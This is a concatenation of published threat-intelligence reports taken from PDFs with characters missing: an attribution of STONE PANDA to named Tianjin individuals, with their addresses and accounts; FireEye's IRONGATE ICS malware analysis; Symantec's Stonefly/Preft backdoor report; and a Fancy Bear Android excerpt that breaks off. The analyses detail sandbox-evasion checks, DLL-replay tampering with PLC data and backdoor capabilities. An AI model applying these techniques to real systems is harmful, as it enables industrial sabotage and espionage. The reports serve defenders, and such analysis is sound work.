Named individuals ZHANG Shilong and GAO Qiang have significant connections to known Chinese hacking forums, and they have sourced tools currently in use by China-based cyber adversaries.
ZHANG has registered several sites with overlapping registrant details that show both his affiliation with several physical technology firm addresses as well as his residence in Tianjin.
Named firm Huaying Haitai has been connected to a Chinese Ministry of Industry and Information Technology (MIIT) sponsored attack and defense competition this is similar to GOTHIC PANDAs ties to an active defense lab sponsored by China Information Technology Evaluation Center (CNITSEC).
Huaying Haitai has previously hired Chinese students with Japanese language skills this is significant, as STONE PANDA has engaged in several campaigns targeting Japanese firms.
The MSS Tianjin Bureau is confirmed to be located at the described address, not far from many of the registrant addresses listed by ZHANG as well the firms GAO was likely recruiting for.
More details that may further illuminate these findings and provide a higher confidence in connecting STONE PANDA to the MSS Tianjin Bureau are likely to emerge.
Background Throughout May 2017, using a variety of historical information and open-source intelligence (OSINT), IntrusionTruth released several blog posts identifying several individuals connected to Boyusec.
Though CrowdStrikes Threat Intelligence team had suspected GOTHIC PANDA was an MSS contractor for several years, the IntrusionTruth posts and subsequent research by RecordedFuture into MSS ties to the China Information Technology Evaluation Center (CNITSEC/) corroborated additional details from various sources and provided a higher degree of confidence.
Confidence in these findings was further boosted when the U.S. Department of Justice named Boyusec and several of the described individuals in an indictment, and detailed GOTHIC PANDA tactics, techniques, and procedures (TTPs) in detail.
CrowdStrike Falcon Intelligence was able to independently verify the majority of this information and concluded that not only is CNITSEC associated with the MSS, but its former director WU Shizhong () was simultaneously dual-hatted as the director of the MSS Technology/13th Bureau () , implying that the MSS plays a crucial role in Chinas code review of foreign products and is now able to cherry pick high-value vulnerabilities from its own capable domestic bug hunting teams.
CNITSECs role in code review for foreign entities has led to its access to Microsofts source code dating back to 2003 and the use by KRYPTONITE PANDA of a high-value vulnerability (CVE-2018-0802), discovered by Chinese firm Qihoo 360, a month before it was publicly revealed.
1 2 3 1/8 https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ https://intrusiontruth.wordpress.com/ https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ https://intrusiontruth.wordpress.com/2018/08/15/apt10-was-managed-by-the-tianjin-bureau-of-the-chinese-ministry-of-state-security/ https://intrusiontruth.wordpress.com/2017/05/02/who-is-mr-wu/ https://intrusiontruth.wordpress.com/2017/05/05/who-is-mr-dong/ https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/ https://www.recordedfuture.com/chinese-mss-behind-apt3/ https://www.justice.gov/opa/press-release/file/1013866/download https://news.microsoft.com/2003/09/26/china-information-technology-security-certification-center-source-code-review-lab-opened/ WU Shizhong Presenting on the Digital Silk Road at the Second Wuzhen World Internet Conference in 2015 As research into the IntrusionTruth leads on STONE PANDA continues, Falcon Intelligence has already observed some consistencies with known MSS operations.
Sinking Like a STONE GAO Qiang (/ ) Many of the personal details for GAO were scrubbed shortly after IntrusionTruths post introducing him went live, including his Tencent QQ account.
The blog connects him to the moniker fisherxp via an initial spear-phishing campaign from 2010 previously attributed to STONE PANDA.
Multiple sites with profile pictures appear to show the owner of the fisherxp accounts, though this has yet to be independently confirmed as GAO.
Fisherxps QQ shows his alternate username as  or big porker.
IntrusionTruth later links GAO to several documented Uber rides to the MSS Tianjin Bureaus office address where both his first name, Qiang/, and  are used by the app to identify him and tie him to the QQ number 420192.
CrowdStrike cannot confirm the validity of these Uber receipts at this time.
However, fisherxps account on popular Chinese technology forum 51CTO is still active and shows that he has downloaded not only the open-source DarkComet RAT and numerous password cracking tools, but more importantly, several favorite tools used by a plethora of known Chinese cyber adversaries including Gh0st RAT 3.6, zxarps (an ARP-spoofing tool by legacy hacker LZX), and lcx.exe (a port-forwarding tool by legacy hacker LCX) .
ZHANG Shilong () ZHANG was originally introduced by IntrusionTruth as a reciprocal follower of fisherxps Twitter account via his own baobeilong account.
Baobeilong (/Baby Dragon) also maintained a GitHub account that had forked both the Quasar and Trochilus RATs, two open-source tools historically used by STONE PANDA, but the account has since been scrubbed.
This information was verified by CrowdStrike before being removed completely.
Falcon Intelligence recently independently conducted detailed analysis of the RedLeaves malware used to target numerous Japanese defense groups and found it was directly sourced from Trochilus code, but it has undergone several evolutions and contains prefixes suggesting it could also be used to target Russia and the DPRK.
There is no conclusive evidence at this time that RedLeaves is solely attributed to STONE PANDA.
Baobeilong did maintain a Flickr account with numerous pictures that proved key in identifying his location later, similar to how cpyys photos helped identify his affiliation to the Peoples Liberation Army (PLA) in CrowdStrikes PUTTER PANDA report.
IntrusionTruth then drew connections from baobeilongs other online accounts to registrant details for xiaohong[.
]org, which dated back to 2007 and revealed ZHANGs full nameZHANG Shilong.
From there, a trail of overlapping registrant details reveals ZHANGs hanzi characters for his name (), likely one of his personal home addresses, potential work addresses and several email addresses: longxiaohong[.
]org baobeixiaohong[.
]org 4 2/8 https://intrusiontruth.wordpress.com/2018/08/02/who-is-mr-gao/ https://intrusiontruth.wordpress.com/2018/08/15/apt10-was-managed-by-the-tianjin-bureau-of-the-chinese-ministry-of-state-security/ https://intrusiontruth.wordpress.com/2018/08/06/who-is-mr-zhang/ https://www.crowdstrike.com/blog/hat-tribution-pla-unit-61486/ atreexpyahoo[.
]com.cn robin4700foxmail[.
]com eshilongvip.qq[.
]com Specifically tracing registrant details from atreexp  robin4700  eshilong shows that ZHANG was active registering sites as recently as June 5, 2018, including a personal blog where his picture and name features prominently along with several technology-related blog posts.
A picture from baobeilongs Flickr account shows a fire at the Tianjin Medical Center 120 Laoying Baichen Instruments The original blog post on GAO lists his contact information in recruitment postings for two separate companies, one of which is Laoying Baichen Instruments (characters unknown at the time of this writing).
No records could be found for such a firm, however, IntrusionTruth lists the address associated with it as Room 1102, Guanfu Mansion, 46 Xinkai Road, Hedong District, Tianjin (46 1102).
During the course of investigating Laoying and the Guanfu mansion, Falcon Intelligence noticed that the Guanfu Mansion is also the registered address of a firm called Tianjin Henglide Technology Co., Ltd. (), which is listed as one of only a few review centers certified by CNITSEC in Tianjin .
Laoying and Henglide are listed as being on different floors, however having a CNITSEC review center in the same building is noteworthy given CNITSECs connection to MSS and previous linkage to Boyusec/GOTHIC PANDA.
5 3/8 Zhang is believed to have taken the photo of the fire from the Wanchan Meizhuan Mansion.
This is relatively close to both the Yuyang Complex (one of Zhangs listed registrant addresses) and the Guanfu Mansion, Laoying Baichens listed address.
Tianjin Huaying Haitai Science and Technology Development Company The other firm GAO appears to have been recruiting for is Huaying Haitai ().
As the IntrusionTruth blog post mentions, it is a registered firm with two listed representatives, Fang Ting () and Sun Lei (), and a listed address of 1906 Fuyu Mansion (1-1906).
Searches for more information on Huaying Haitai turned up two interesting government documents.
One is a recruitment Excel sheet detailing recent graduates, their majors and their new employers and addresses.
Huaying Haitai is listed as having hired a recently graduated female student from Nankai University in 2013 who majored in Japanese.
This is interesting considering STONE PANDAs extensive targeting of Japanese defense firms after this time period, but it is by no means conclusive evidence that the firm is connected to STONE PANDA.
The second government document lists Huaying Haitai as the co-organizer of a Network Security Attack and Defense competition with the Ministry of Industry and Information Technologys (MIIT) national training entity, NSACE .
It was open for all students of Henan Province.
NSACE appears to be a national education body that teaches network information security, including offensive activity .
This information is particularly interesting given Boyusecs previous work at CNITSECs Guangdong subsidiary setting up a joint active defense lab .
It suggests that these technology firms act as both shell companies and recruitment grounds for potential MSS use in cyber operations.
6 7 8 4/8 MSS Tianjin Bureau The most recent IntrusionTruth post assesses that GAOs Uber rides frequently took him from Huayings address at the Fuyu Mansion to 85 Zhujiang Road (85).
5/8 When observed closely, the compound is a striking one complete with towers, a fenced perimeter with surveillance cameras, guarded entrances, and a building with a significant number of satellite dishes.
There are no markers on the building and no government listed address however, it is apparently difficult for locals to determine where the Tianjin Bureaus location is as well.
There are several Baidu questions asking what transportation routes are best to get to that specific address.
Three separate ones specifically mention the 85 Zhujiang Road address as the headquarters for the MSSs Tianjin Bureau and the difficulty in finding its location .
As with most cyber-enabled operations, satellite arrays are often indicative of installations with significant signals intelligence (SIGINT) capabilities.
The Tianjin Bureau appears to have the potential for such capabilities, housing several large arrays that appear to have existed since at least January 2004.
9 10 11 6/8 Barely visible satellite dishes from the street view of 85 Zhujiang Road outside the compound Conclusion There are still significant intelligence gaps that prevent Falcon Intelligence from making an assessment about STONE PANDAs potential connections to the MSS Tianjin Bureau with a high degree of confidence.
However, additional information is likely to materialize either directly from IntrusionTruth or from other firms in the infosec community who are undoubtedly looking at this material as well and may have unique insight of their own.
Ultimately, IntrusionTruths prior releases on GOTHIC PANDA proved accurate and led to a U.S. Department of Justice indictment resulting in the dismantling of Boyusec.
From their latest post, which contains GAOs Uber receipts, it is clear the groups information likely goes beyond merely available OSINT data.
It cannot be ignored that there are striking similarities between the entities associated with GOTHIC PANDA and the actors and firms mentioned in the blogs about STONE PANDA.
In addition, FalconIntelligence notes that following the late 2015 Sino-U.S. brief cyber detente, much of the responsibility for western cyber intrusion operations was handed to the MSS as the PLA underwent an extensive reform that is still currently underway, and which is consolidating its military cyber forces under the Strategic Support Force.
Though the detente saw an initial drop in Chinese intrusion activity, it has steadily been increasing over the past several years, with a majority of the intrusions into western firms being conducted by suspected contractors.
These adversaries are tracked by CrowdStrike as GOTHIC PANDA, STONE PANDA, WICKED PANDA, JUDGMENT PANDA, and KRYPTONITE PANDA.
Many of these adversaries have begun targeting supply chain and upstream providers to establish a potential platform for future operations and enable the collection of larger sets of data.
While the APT1, PUTTER PANDA, and Operation CameraShy reports all exposed PLA units at a time when Chinese military hacking against western firms was rampant, the attention has now swung toward identifying MSS contractors.
The exposure of STONE PANDA as an MSS contractor would be another blow to Chinas current cyber operations given STONE PANDAs prolific targeting of a variety of sectors, and may prompt an additional U.S. investigation at a tenuous time for Sino-U.S. relations during an ongoing trade war.
However, it is important to note that such public revelations often force these actors to cease operations, improve their operational security (OPSEC), and then return stronger than before.
As such, CrowdStrike Falcon Intelligence assesses that although Boyusec may have shuttered, elements of GOTHIC PANDA are likely to still be active.
The same is likely to be true for STONE PANDA following a period of silence.
The activities of STONE PANDA impact entities in the Aerospace  Defense, Government,  Healthcare, Technology,  Telecommunications Services of several nations.
For more information on how to incorporate intelligence on threat actors like STONE PANDA into your security strategy, please visit the  Falcon Intelligence product page.
Footnotes 1.
http://kjbz.mca.gov[.
]cn/article/mzbzhzcwj/201106/20110600157934.shtml 2.
http://bjgwql[.
]com/a/hezuojiaoliu/2011/0422/288.htm 3.
http://alumni.ecnu.edu[.
]cn/s/328/t/528/3b/02/info80642.htm 4.
http://down.51cto[.
]com/424761/down/1/ 5.
http://www.djbh[.
]net/webdev/web/LevelTestOrgAction.do?pnlbdLv3id402885cb35d11a540135d168e41e000c 6.
http://rjzyjsxy.zzia.edu[.
]cn/picture/article/25/27/01/6c8b24a143f9959a85301d4527f0/801f81cf-8f30-4aa4-8428-7f9d4e778e76.doc 7.
http://www.yingjiesheng[.
]com/job-001-607-536.html 8.
https://www.recordedfuture.com/chinese-mss-behind-apt3/ 9.
https://zhidao.baidu[.
]com/question/1046720364336588899.html?
frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 10.
https://zhidao.baidu[.
]com/question/146035392.html?
frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 11.
https://zhidao.baidu[.
]com/question/223614321.html?
frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 7/8 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Aerospace 26 Defense27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Government27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Healthcare27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Technology27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Telecommunications Services27 https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/ 8/8 Two Birds, One STONE PANDA Introduction Background Sinking Like a STONE GAO Qiang (/ ) ZHANG Shilong () Laoying Baichen Instruments Tianjin Huaying Haitai Science and Technology Development Company MSS Tianjin Bureau Conclusion Footnotes
IRONGATE ICS Malware: Nothing to See Here...Masking Malicious Activity on SCADA Systems www.fireeye.com /blog/threat-research/2016/06/irongate_ics_malware.html In the latter half of 2015, the FireEye Labs Advanced Reverse Engineering (FLARE) team identified several versions of an ICS-focused malware crafted to manipulate a specific industrial process running within a simulated Siemens control system environment.
We named this family of malware IRONGATE.
FLARE found the samples on VirusTotal while researching droppers compiled with PyInstaller  an approach used by numerous malicious actors.
The IRONGATE samples stood out based on their references to SCADA and associated functionality.
Two samples of the malware payload were uploaded by different sources in 2014, but none of the antivirus vendors featured on VirusTotal flagged them as malicious.
Siemens Product Computer Emergency Readiness Team (ProductCERT) confirmed that IRONGATE is not viable against operational Siemens control systems and determined that IRONGATE does not exploit any vulnerabilities in Siemens products.
We are unable to associate IRONGATE with any campaigns or threat actors.
We acknowledge that IRONGATE could be a test case, proof of concept, or research activity for ICS attack techniques.
Our analysis finds that IRONGATE invokes ICS attack concepts first seen in Stuxnet, but in a simulation environment.
Because the body of industrial control systems (ICS) and supervisory control and data acquisition (SCADA) malware is limited, we are sharing details with the broader community.
Malicious Concepts Deceptive Man-in-the-Middle IRONGATEs key feature is a man-in-the-middle (MitM) attack against process input-output (IO) and process operator software within industrial process simulation.
The malware replaces a Dynamic Link Library (DLL) with a malicious DLL, which then acts as a broker between a PLC and the legitimate monitoring software.
This malicious DLL records five seconds of normal traffic from a PLC to the user interface and replays it, while sending different data back to the PLC.
This could allow an attacker to alter a controlled process unbeknownst to process operators.
Sandbox Evasion IRONGATEs second notable feature involves sandbox evasion.
Some droppers for the IRONGATE malware would not run if VMware or Cuckoo Sandbox environments were employed.
The malware uses these techniques to avoid detection and resist analysis, and developing these anti-sandbox techniques indicates that the author wanted the code to resist casual analysis attempts.
It also implies that IRONGATEs purpose was malicious, as opposed to a tool written for other legitimate purposes.
Dropper Observables We first identified IRONGATE when investigating droppers compiled with PyInstaller  an approach used by numerous malicious actors.
In addition, strings found in the dropper include the word payload, which is commonly associated with malware.
Unique Features for ICS Malware While IRONGATE malware does not compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical 1/7 https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/stuxnet_0_5_the_missing_link.pdf implications, IRONGATE leverages some of the same features and techniques Stuxtnet used to attack centrifuge rotor speeds at the Natanz uranium enrichment facility it also demonstrates new features for ICS malware.
Both pieces of malware look for a single, highly specific process.
Both replace DLLs to achieve process manipulation.
IRONGATE detects malware detonation/observation environments, whereas Stuxnet looked for the presence of antivirus software.
IRONGATE actively records and plays back process data to hide manipulations, whereas Stuxnet did not attempt to hide its process manipulation, but suspended normal operation of the S7-315 so even if rotor speed had been displayed on the HMI, the data would have been static.
A Proof of Concept IRONGATEs characteristics lead us to conclude that it is a test, proof of concept, or research activity.
The code is specifically crafted to look for a user-created DLL communicating with the Siemens PLCSIM environment.
PLCSIM is used to test PLC program functionality prior to in-field deployment.
The DLLs that IRONGATE seeks and replaces are not part of the Siemens standard product set, but communicate with the S7ProSim COM object.
Malware authors test concepts using commercial simulation software.
Code in the malicious software closely matched usage on a control engineering blog dealing with PLCSIM (https://alexsentcha.wordpress.com/using-s7-prosim-with-siemens-s7-plcsim/ and https://pcplcdemos.googlecode.com/hg/S7PROSIM/BioGas/S720v5.5/).
While we have identified and analyzed several droppers for the IRONGATE malware, we have yet to identify the codes infection vector.
In addition, our analysis did not identify what triggers the MitM payload to install the scada.exe binary that deploys the IRONGATE DLL payload appears to require manual execution.
We have not identified any other instances of the ICS-specific IRONGATE components (scada.exe and Step7ProSim.dll), despite their having been compiled in September of 2014.
Siemens ProductCERT has confirmed that the code would not work against a standard Siemens control system environment.
Implications for ICS Asset Owners Even though process operators face no increased risk from the currently identified members of the IRONGATE malware family, IRONGATE provides valuable insight into adversary mindset.
Network security monitoring, indicator of compromise (IoC) matching, and good practice guidance from vendors and other stakeholders represent important defensive techniques for ICS networks.
To specifically counter IRONGATEs process attack techniques, ICS asset owners may, over the longer term, implement solutions that: Require integrity checks and code signing for vendor and user generated code.
Lacking cryptographic verification facilitates file replacement and MitM attacks against controlled industrial processes.
Develop mechanisms for sanity checking IO data, such as independent sensing and backhaul, and comparison with expected process state information.
Ignorance of expected process state facilitates an attackers ability to achieve physical consequence without alarming operators.
2/7 http://www.langner.com/en/wp-content/uploads/2013/11/To-kill-a-centrifuge.pdf Technical Malware Analysis IRONGATE Dropper Family FireEye has identified six IRONGATE droppers: bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, update_no_pipe.exe2, update.exe3.
All but one of these Python-based droppers first checks for execution in a VMware or Cuckoo Sandbox environment.
If found, the malware exits.
If not found, the IRONGATE dropper extracts a UPX-packed, publicly available utility (NirSoft NetResView version 1.27) to audiodg.exe in the same directory as the dropper.
The dropper then executes the utility using the command audiodg.exe /scomma scxrt2.ini.
This command populates the file scxrt2.ini with a comma-separated list of network resources identified by the host system.
The dropper iterates through each entry in scxrt2.ini, looking for paths named move-to-operational or move-to- operational.lnk.
If a path is found, the dropper first extracts the Base64-encoded .NET executable scada.exe to the current directory and then moves the file to the path containing move-to-operational or move-to-operational.lnk.
The path move-to-operational is interesting as well, perhaps implying that IRONGATE was not seeking the actual running process, but rather a staging area for code promotion.
The dropper does not execute the scada.exe payload after moving it.
Anti-Analysis Techniques Each IRONGATE dropper currently identified deploys the same .NET payload, scada.exe.
All but one of the droppers incorporated anti-detection/analysis techniques to identify execution in VMware or the Cuckoo Sandbox.
If such environments are detected, the dropper will not deploy the .NET executable (scada.exe) to the host.
Four of the droppers ( update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, and update.exe3) detect Cuckoo environments by scanning subdirectories of the SystemDrive.
Directories with names greater than five, but fewer than ten characters are inspected for the subdirectories drop, files, logs, memory, and shots.
If a matching directory is found, the dropper does not attempt to deploy the scada.exe payload.
The update.exe1 and update.exe3 droppers contain code for an additional Cuckoo check using the SysInternals pipelist program, install.exe, but the code is disabled in each.
The update.exe2 dropper includes a check for VMware instead of Cuckoo.
The VMWare check looks for the registry key HKLM\SOFTWARE\VMware, Inc.\VMware Tools and the files WINDIR\system32\drivers\vmmouse.sys and WINDIR\system32\drivers\vmhgfs.sys.
If any of these are found, the dropper does not attempt to deploy the scada.exe payload.
The dropper bla.exe does not include an environment check for either Cuckoo or VMware.
scada.exe Payload We surmise that scada.exe is a user-created payload used for testing the malware.
First, our analysis did not indicate what triggers scada.exe to run.
Second, Siemens ProductCERT informed us that scada.exe is not a default 3/7 http://www.nirsoft.net/utils/netresview.html file name associated with Siemens industrial control software.
When scada.exe executes, it scans drives attached to the system for filenames ending in Step7ProSim.dll.
According to the Siemens ProductCERT, Step7ProSim.dll is not part of the Siemens PLCSIM software.
We were unable to determine whether this DLL was created specifically by the malware author, or if it was from another source, such as example code or a particular custom ICS implementation.
We surmise this DLL simulates generation of IO values, which would normally be provided by an S7-based controller, since the functions it includes appear derived from the Siemens PLCSIM environment.
If scada.exe finds a matching DLL file name, it kills all running processes with the name biogas.exe.
The malware then moves Step7ProSim.dll to Step7ConMgr.dll and drops a malicious Step7ProSim.dll  the IRONGATE payload to the same directory.
The malicious Step7ProSim.dll acts as an API proxy between the original user-created Step7ProSim.dll (now named Step7ConMgr.dll) and the application biogas.exe that loads it.
Five seconds after loading, the malicious Step7ProSim.dll records five seconds of calls to ReadDataBlockValue.
All future calls to ReadDataBlockValue return the recorded data.
Simultaneously, the malicious DLL discards all calls to WriteDataBlockValue and instead calls WriteInputPoint(0x110, 0, 0x7763) and WriteInputPoint(0x114, 0, 0x7763) every millisecond.
All of these functions are named similarly to Siemens S7ProSim v5.4 COM interface.
It appears that other calls to API functions are passed through the malicious DLL to the legitimate DLL with no other modification.
Biogas.exe As mentioned previously, IRONGATE seeks to manipulate code similar to that found on a blog dealing with simulating PLC communications using PLCSIM, including the use of an executable named biogas.exe.
Examination of the executable from that blogs demo code shows that the WriteInputPoint function calls with byte indices 0x110 and 0x114 set pressure and temperature values, respectively: IRONGATE: WriteInputPoint(0x110, 0, 0x7763) WriteInputPoint(0x114, 0, 0x7763) Equivalent pseudo code from Biogas.exe: S7ProSim.
WriteInputPoint(0x110, 0, (short)this.
Pressure.
Value) S7ProSim.
WriteInputPoint(0x114, 0, (short)this.
Temperature.
Value) We have been unable to determine the significance of the hardcoded value 0x7763, which is passed in both instances of the write function.
Because of the noted indications that IRONGATE is a proof of concept, we cannot conclude IRONGATEs author intends to manipulate specific temperature or pressure values associated with the specific biogas.exe process, but find the similarities to this example code striking.
Artifacts and Indicators 4/7 PyInstaller Artifacts The IRONGATE droppers are Python scripts converted to executables using PyInstaller.
The compiled droppers contain PyInstaller artifacts from the system the executables were created on.
These artifacts may link other samples compiled on the same system.
Five of the six file droppers ( bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2 and update.exe3) all share the same PyInstaller artifacts listed in Table 1.
Table 1: Pyinstaller Artifacts The remaining dropper, update.exe2, contains the artifacts listed in Table 2.
5/7 Table 2: Pyinstaller Artifacts for update.exe2 Unique Strings Figure 1 and 2 list the unique strings discovered in the scada.exe and Step7ProSim.dll binaries.
Figure 1: Scada.exe Unique Strings Figure 2: Step7ProSim.dll Unique Strings File Hashes Table 3 contains the MD5 hashes, file and architecture type, and compile times for the malware analyzed in this report.
6/7 Table 3: File MD5 Hashes and Compile Times FireEye detects IRONGATE.
A list of indicators can be found here.
Special thanks to the Siemens ProductCERT for providing support and context to this investigation.
7/7 https://github.com/fireeye/iocs IRONGATE ICS Malware: Nothing to See Here...Masking Malicious Activity on SCADA Systems Malicious Concepts Unique Features for ICS Malware A Proof of Concept Implications for ICS Asset Owners Technical Malware Analysis IRONGATE Dropper Family Artifacts and Indicators PyInstaller Artifacts Unique Strings File Hashes
1/4 Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage The North Korean-linked Stonefly group is continuing to mount espionage attacks against highly specialized engineering companies with a likely goal of obtaining sensitive intellectual property.
Stonefly specializes in mounting highly selective targeted attacks against targets that could yield intelligence to assist strategically important sectors such as energy, aerospace, and military equipment.
Virtually all of the technologies it appears to be interested in have military as well as civilian uses and some could have applications in the development of advanced weaponry.
History of ambitious attacks Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a number of South Korean, U.S. government, and financial websites.
It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an espionage element to its attacks when it was found to be using a sophisticated backdoor Trojan (Backdoor.
Prioxer) against selected targets.
In March 2013, the group was linked to the Jokra (Tojan.
Jokra) disk-wiping attacks against a number of South Korean banks and broadcasters.
Three months later, the group was involved in a string of DDoS attacks against South Korean government websites.
In recent years, the groups capabilities have grown markedly and, since at least 2019 Symantec has seen its focus shift solely to espionage operations against select, high-value targets.
It now appears to specialize in targeting organizations that hold classified or highly sensitive information or intellectual property.
Stoneflys operations appear to be part of a broader North Korean-sponsored campaign to acquire information and intellectual property, with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried out by another North Korean group, Pompilus.
Latest target The most recent attack discovered by Symantec, a division of Broadcom Software, was against an engineering firm that works in the energy and military sectors.
The attackers breached the organization in February 2022, most likely by exploiting the Log4j vulnerability https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage https://www.symantec.com/connect/blogs/backdoorprioxerinf-accidentally-stealthiest-file-infector-ever https://www.symantec.com/connect/blogs/south-korean-banks-and-broadcasting-organizations-suffer-major-damage-cyberattack https://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war https://software.broadcom.com/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day 2/4 (CVE-2021-44228) vulnerability on a public-facing VMware View server.
The attackers then moved across the network and compromised 18 other computers.
17 hours later: Shortly after compromising the initial server, the attackers installed an updated version of Stoneflys Backdoor.
Preft malware (aka Dtrack, Valefor).
The attackers then used a masqueraded version (file name: pvhost.exe) of PuTTYs PSCP command line application, presumably to exfiltrate data from the infected machine.
Shortly after PSCP was executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe) was run.
Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy tool (file name: svhost.exe) was executed.
Use of this tool continued for the next four days.
A second suspected proxy tool was installed two days into this four day period (file name: tapi.exe).
Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was installed.
Two days later, WinSCP, an open-source SSH file-transfer tool was used, presumably to exfiltrate or upload data to the compromised computer.
Day 3: The next phase of the intrusion began on the following day, when Preft was executed and the attackers began moving latterly across the organizations network, using Invoke- TheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name: notepad.exe).
Updated Preft backdoor The attackers used an updated version of Stoneflys custom Preft backdoor.
Analysis of the backdoor revealed that it is a multistage tool: Stage 1 is the main binary.
A python script is used to unpack the binary and shellcode.
Stage 2 is shellcode.
It performs the following actions: Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection Opens a mutex, with the name specified in the Stage 3 shellcode Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or explorer.exe and injects the Stage 3 shellcode into either.
It sets up a named pipe (\.\pipe\pipe) for communication.
The file name of the main binary is sent over the pipe.
Stage 3 is more shellcode.
Stage 4 is the payload.
It is an HTTP remote access tool (RAT) that supports various commands, including: 1.
Download (Download a file and save locally) https://www.putty.org/ https://github.com/3proxy/3proxy https://winscp.net/ https://github.com/Kevin-Robertson/Invoke-TheHash https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py 3/4 2.
Upload (Upload a file to a CC server) 3.
Set Interval (Change CC server query interval - in minutes) 4.
Shell Execute (Execute a command in the shell) 5.
Download Plugin 6.
Update (Download a new version and replace) 7.
Info (Return debug information about the current infection) 8.
Uninstall 9.
Download Executable The malware can support four different kinds of plugins: executable files, VBS, BAT, and shellcode.
It supports three different persistence modes: Startup_LNK, Service, Registry, and Task Scheduler.
Custom information stealer Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed information stealer (infostealer).
Analysis of this malware revealed that it is a three-staged threat.
The main binary extracts and decrypts the encrypted shellcode with a modified RC4 algorithm.
Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4 algorithm.
The decrypted payload is an executable file that is loaded in-memory.
It is designed to search the infected computer for files using pre-configured parameters.
These are then copied to temporary files before being copied to a single .zip file and the temporary files are removed.
The ZIP file path is TEMP/[XXXXXXXX].tmp, where XXXXXXXX is a simple hash of the computer name (eight uppercase hex digits).
Curiously, this ZIP file is not automatically exfiltrated.
It is possible that the exfiltration functionality was removed and the attackers planned to use an alternative means of exfiltration.
High-value targets While Stoneflys tools and tactics continue to evolve, there are some common threads between this recent activity and previous attacks, such as its ongoing development of the Preft backdoor and heavy reliance on open-source tools.
The groups capabilities and its narrow focus on acquiring sensitive information make it one of the most potent North Korean cyber threat actors operating today.
Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin.
https://www.broadcom.com/support/security-center/protection-bulletin 4/4 Indicators of Compromise If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
CROWDSTRIKE GLOBAL INTELLIGENCE TEAM web: WWW.CROWDSTRIKE.COM   twitter: CROWDSTRIKE Copyright 2016 U S E  O F  F A N C Y  B E A R A N D R O I D  M A L WA R E  I N  T R A C K I N G  O F U K R A I N I A N  F I E L D  A R T I L L E R Y  U N I T S P U B L I S H E D  D E C E M B E R  2 2 K E Y  P O I N T S From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk.
The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds.
According to Sherstuks interviews with the press, over 9000 artillery personnel have been using the application in Ukrainian military.
Successful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops.
The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them.
Open source reporting indicates that Ukrainian artillery forces have lost over 50 of their weapons in the 2 years of conflict and over 80 of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraines arsenal.
This previously unseen variant of X-Agent represents FANCY BEARs expansion in mobile malware development from iOS- capable implants to Android devices, and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine.
The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrikes previous assessments that FANCY BEAR is likely affiliated with the Russian military intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia.
O P E N -S O U R C E R E P O R T I N G  I N D I C AT E S L O S S E S  O F  A L M O S T 5 0   O F  E Q U I P M E N T  I N T H E  L A S T  2  Y E A R S  O F C O N F L I C T  A M O N G S T U K R A I N I A N  A R T I L L E R Y F O R C E S  A N D  O V E R  8 0 O F  D -3 0  H O W I T Z E R S W E R E  L O S T,  F A R  M O R E T H A N  A N Y  O T H E R  P I E C E O F  U K R A I N I A N A R T I L L E R Y  9 .
